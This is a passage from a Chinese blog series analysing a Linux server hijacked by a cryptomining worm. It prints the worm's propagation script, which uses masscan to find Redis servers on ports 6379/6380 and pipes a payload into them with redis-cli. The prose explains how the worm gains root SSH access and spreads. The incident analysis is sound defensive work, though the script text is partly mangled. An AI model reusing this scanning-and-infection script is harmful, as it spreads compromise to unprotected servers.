主页 > 网络知识 > Linux被入侵,服务器变“矿机”(5)

Linux被入侵,服务器变“矿机”(5)

whileread -r h p; do

cat .dat |redis-cli -h $h -p $p --raw 2/dev/null1/dev/null&

done < .shard

sleep 1

masscan --max-rate 10000-p6379, 6380192.1680016172.160016116.620016116.2320016116.1280016116.16300162/dev/null| awk '{print $6, substr($4, 1, length($4)-4)}' |sort | uniq > .ranges

sleep 1

whileread -r h p; do

cat .dat |redis-cli -h $h -p $p --raw 2/dev/null1/dev/null&

done < .ranges

sleep 1

ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null |sed 's//([0-9]{2})//16/g'> .inet

sleep 1

masscan --max-rate 10000-p6379, 6380-iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' |sort | uniq > .lan

sleep 1

whileread -r h p; do

cat .dat |redis-cli -h $h -p $p --raw 2/dev/null1/dev/null&

done < .lan

sleep 60

rm -rf .dat .shard .ranges .lan 2/dev/null

如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。

一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过 Redis 的人,应该能猜到,这里是对 Redis 进行配置。

写这个配置,自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的 /root/.ssh/authorized_keys。

登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用 Masscan 进行全网扫描 Redis 服务器,寻找肉鸡。

注意看这 6379 就是 Redis 服务器的默认端口,如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0,并且没有密码保护,不好意思,你就中招了。

总结

通过依次分析这 3 个脚本,就能看出这个病毒的可怕之处,先是通过写入 ssh public key 拿到登录权限,然后下载执行远程二进制文件,最后再通过 Redis 漏洞复制,迅速在全网传播,以指数级速度增长。

那么问题是,这台服务器是怎么中招的呢?看了下 redis.conf,Bind 的地址是 127.0.0.1,没啥问题。

由此可以推断,应该是 Root 帐号被暴力破解了,为了验证我的想法,我 Lastb 看了一下,果然有大量的记录:

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!